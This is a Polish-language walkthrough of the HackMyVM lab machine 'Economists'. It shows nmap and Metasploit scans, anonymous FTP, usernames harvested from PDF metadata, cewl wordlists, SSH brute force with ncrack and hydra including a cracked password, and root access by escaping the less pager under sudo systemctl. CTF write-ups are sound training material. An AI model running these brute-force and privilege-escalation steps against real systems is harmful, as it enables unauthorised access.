Economists - eMVee
00. Metainfo
Nazwa: | Economists |
Autor: | eMVee |
Wypuszczony: | 2023-10-10 |
Ściągnij: | HackMyVM |
Poziom: | Łatwy |
System: | Linux |
Nauczysz się: | Web scraping, Bruteforce, Pdf info |
01. Wstęp
Maszynka Economists, której obraz nazywa się Elite Economists, a host elite-economists jest dosyć prostą maszyną. Wystarczy trochę umiejętnie poszukać, zeskrobać słowa ze strony, odpalić bruteforce i koniec. Ale to wygląda tak prosto tylko w opisie. W maszynie jest trochę ślepych uliczek, które mogą utrudnić pracę, ale tylko tym osobom bardzo początkującym. Taka mała dygresja - ostatnio wirtualki odpalam w Virtual Boxie od razu na swoim Windowsie (tak, jako desktop używam Windowsa ;). Plus jest taki, że nie muszę nic przerabiać i mam pewność, że raczej zadziała, minusem zaś jest to, że wraz z wyłączeniem systemu, wyłącza się maszyna. Ale na Proxmoxie dobrze wiedzieć, jak to odpalić.
02. Skanowanie
Zapuszczając proste skanowanie w Metasploicie widać, że:
msf6 > db_nmap -A 172.16.1.178
[*] Nmap: Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-13 16:32 CET
[*] Nmap: Nmap scan report for elite-economists.hmv (172.16.1.178)
[*] Nmap: Host is up (0.0011s latency).
[*] Nmap: Not shown: 997 closed tcp ports (reset)
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 21/tcp open ftp vsftpd 3.0.3
[*] Nmap: | ftp-anon: Anonymous FTP login allowed (FTP code 230)
[*] Nmap: | -rw-rw-r-- 1 1000 1000 173864 Sep 13 11:40 Brochure-1.pdf
[*] Nmap: | -rw-rw-r-- 1 1000 1000 183931 Sep 13 11:37 Brochure-2.pdf
[*] Nmap: | -rw-rw-r-- 1 1000 1000 465409 Sep 13 14:18 Financial-infographics-poster.pdf
[*] Nmap: | -rw-rw-r-- 1 1000 1000 269546 Sep 13 14:19 Gameboard-poster.pdf
[*] Nmap: | -rw-rw-r-- 1 1000 1000 126644 Sep 13 14:20 Growth-timeline.pdf
[*] Nmap: |_-rw-rw-r-- 1 1000 1000 1170323 Sep 13 10:13 Population-poster.pdf
[*] Nmap: | ftp-syst:
[*] Nmap: | STAT:
[*] Nmap: | FTP server status:
[*] Nmap: | Connected to ::ffff:172.16.1.89
[*] Nmap: | Logged in as ftp
[*] Nmap: | TYPE: ASCII
[*] Nmap: | No session bandwidth limit
[*] Nmap: | Session timeout in seconds is 300
[*] Nmap: | Control connection is plain text
[*] Nmap: | Data connections will be plain text
[*] Nmap: | At session startup, client count was 3
[*] Nmap: | vsFTPd 3.0.3 - secure, fast, stable
[*] Nmap: |_End of status
[*] Nmap: 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: | 3072 d9:fe:dc:77:b8:fc:e6:4c:cf:15:29:a7:e7:21:a2:62 (RSA)
[*] Nmap: | 256 be:66:01:fb:d5:85:68:c7:25:94:b9:00:f9:cd:41:01 (ECDSA)
[*] Nmap: |_ 256 18:b4:74:4f:f2:3c:b3:13:1a:24:13:46:5c:fa:40:72 (ED25519)
[*] Nmap: 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
[*] Nmap: |_http-server-header: Apache/2.4.41 (Ubuntu)
[*] Nmap: |_http-title: Home - Elite Economists
[*] Nmap: MAC Address: 08:00:27:E0:55:E3 (Oracle VirtualBox virtual NIC)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 4.X|5.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
[*] Nmap: OS details: Linux 4.15 - 5.8
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT ADDRESS
[*] Nmap: 1 1.08 ms elite-economists.hmv (172.16.1.178)
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 8.34 seconds
Otwarte porty:
- 21/tcp - FTP
- 22/tcp - SSH
- 80/tcp - WWW
03. FTP
Najpierw należy sprawdzić, jaki jest dostęp na FTP. Być może w trybie anonymous. Można to sprawdzić wchodzą przez zwykłego ftp-a, albo użyć moduł z Metasploita. Polecam moduł, ponieważ z automatu zapiszę się to do zdobytych haseł.
msf6 auxiliary(scanner/ftp/anonymous) > set rhosts 172.16.1.178
rhosts => 172.16.1.178
msf6 auxiliary(scanner/ftp/anonymous) > run
[+] 172.16.1.178:21 - 172.16.1.178:21 - Anonymous READ (220 (vsFTPd 3.0.3))
[*] 172.16.1.178:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ftp/anonymous) > creds
Credentials
===========
host origin service public private realm private_type JtR Format cracked_password
---- ------ ------- ------ ------- ----- ------------ ---------- ----------------
172.16.1.178 172.16.1.178 21/tcp (ftp) anonymous mozilla@example.com Password
Na tym ftp-ie mamy ciekawe pliki w formacie .pdf, które ściągamy sobie na dysk.
03. PDF
Do uzyskania informacji o plikach .*pdf polecam program Pdfinfo z pakietu poppler-utils(Kali).Wchodzimy do katalogu, gdzie mamy ściągnięte nasze pliki i odpalamy taki skrypt.
for i in $(ls -1 *.pdf); do pdfinfo $i | grep '^Author:'| awk {'print $2'}; done | sort -u > users.txt
Zalecam wcześniej obejrzeć te dokumenty, zobaczyć czy czegoś dodatkowo nie ma, ale idę na skróty, żeby do końca nie zepsuć zabawy. Poniżej jest jednolinijkowiec - jak się domyślacie, zgrywa użytkowników do pliku users.txt. Być może później się to przyda.
for i in $(ls -1 *.pdf); do pdfinfo $i | grep '^Author:'| awk {'print $2'}; done | sort -u > users.txt
04. WWW
Strona jak strona, informacje, obrazki i tekst. Dirb ani Feroxbuster niczego ciekawego nie znalazł, oprócz dostępu do katalogów. Więc przyszedł czas na skrapowanie strony. Do tego - wg mnie - najlepiej nadaje się Cewl.
cewl http://elite-economists.hmv/index.html > elite-economists.hmv.index.txt
cewl http://elite-economists.hmv/services.html > elite-economists.hmv.services.txt
cewl http://elite-economists.hmv/cases.html > elite-economists.hmv.cases.txt
cewl http://elite-economists.hmv/blog.html > elite-economists.hmv.blog.txt
cewl http://elite-economists.hmv/contact.html > elite-economists.hmv.contact.txt
Pozgrywałem wszystkie strony, chociaż były na nich podobne słowa, zebrałem wszystko w jedno i zlikwidowałem duble.
cat *.txt | sort -u > elite-economists.hmv.all.txt
05. Bruteforce
Myślałem - a co tam - może się uda coś znaleźć, czyli login i hasło metodą słownikową i wejście na SSH. Użytkowników mamy, słowa też. Więc trzeba to połączyć Aby to znaleźć można użyć między innymi programy: Hydra i Ncat. Zobaczymy który szybciej to zrobi.
05a. Ncrack
ncrack -v -U users.txt -P /usr/share/wordlists/rockyou.txt ssh://172.16.1.178
Ncrack done: 1 service scanned in 362.97 seconds.
Probes sent: 2010 | timed-out: 0 | prematurely-closed: 1984
Rate: 8.43; Found: 0; About 38.64% done; ETC: 00:44 (0:04:05 remaining)
Stats: 0:02:44 elapsed; 0 services completed (1 total)
Rate: 7.42; Found: 0; About 41.56% done; ETC: 00:44 (0:03:52 remaining)
Discovered credentials on ssh://172.16.1.178:22 'joseph' 'wealthiest'
ssh://172.16.1.178:22 finished.
Discovered credentials for ssh on 172.16.1.178 22/tcp:
172.16.1.178 22/tcp ssh: 'joseph' '******'
Ncrack done: 1 service scanned in 362.97 seconds.
Probes sent: 2010 | timed-out: 0 | prematurely-closed: 1984
Ncrack finished.
05b. Hydra
hydra -v -L users.txt -P elite-economists.hmv.all ssh://elite-economists.hmv
hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-13 01:14:31
[STATUS] attack finished for 172.16.1.178 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-13 01:34:03
Discovered credentials for ssh on 172.16.1.178 22/tcp:
172.16.1.178 22/tcp ssh: 'joseph' '******'
Jak widzimy, Ncrack się uporał z tym w sześć minut i od razu zakończył, zaś Hydrze zajęło to dwadzieścia minut. Po złamaniu hasła dalej kontynuowała skanowanie. Pewnie jest opcja, żeby zakończyć skanowanie od razu po znalezieniu hasła, ale ja odpalałem wszystko z ustawień standardowych. Login i hasło jest jak się domyślacie - do SSH.
06. root
Ostatni etap jest najprostszy, mimo, że jest dużo ślepych uliczek. Odpalamy:
sudo -l
i widzimy:
Matching Defaults entries for joseph on elite-economists:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User joseph may run the following commands on elite-economists:
(ALL) NOPASSWD: /usr/bin/systemctl status
Czyli jesteśmy w domu. Systemctl korzysta z pagera Less, a w w tym można uruchomić dowolną komendę, w tym !bash.
Więc zadziałajmy:
sudo /usr/bin/systemctl status
● elite-economists
State: running
Jobs: 0 queued
Failed: 0 units
Since: Tue 2023-11-14 14:45:31 UTC; 31min ago
CGroup: /
├─user.slice
│ └─user-1001.slice
│ ├─user@1001.service …
│ │ └─init.scope
│ │ ├─1104 /lib/systemd/systemd --user
│ │ └─1105 (sd-pam)
│ └─session-1.scope
│ ├─1083 sshd: joseph [priv]
│ ├─1227 sshd: joseph@pts/0
│ ├─1228 -bash
│ ├─1476 sudo /usr/bin/systemctl status
│ ├─1477 /usr/bin/systemctl status
│ └─1478 pager
├─init.scope
│ └─1 /sbin/init maybe-ubiquity
└─system.slice
├─apache2.service
│ ├─747 /usr/sbin/apache2 -k start
│ ├─937 /usr/sbin/apache2 -k start
│ └─938 /usr/sbin/apache2 -k start
├─systemd-networkd.service
│ └─634 /lib/systemd/systemd-networkd
├─systemd-udevd.service
│ └─392 /lib/systemd/systemd-udevd
├─cron.service
│ └─652 /usr/sbin/cron -f
├─polkit.service
!bash
root@elite-economists:/home/joseph# id
uid=0(root) gid=0(root) groups=0(root)
Zostaw komentarz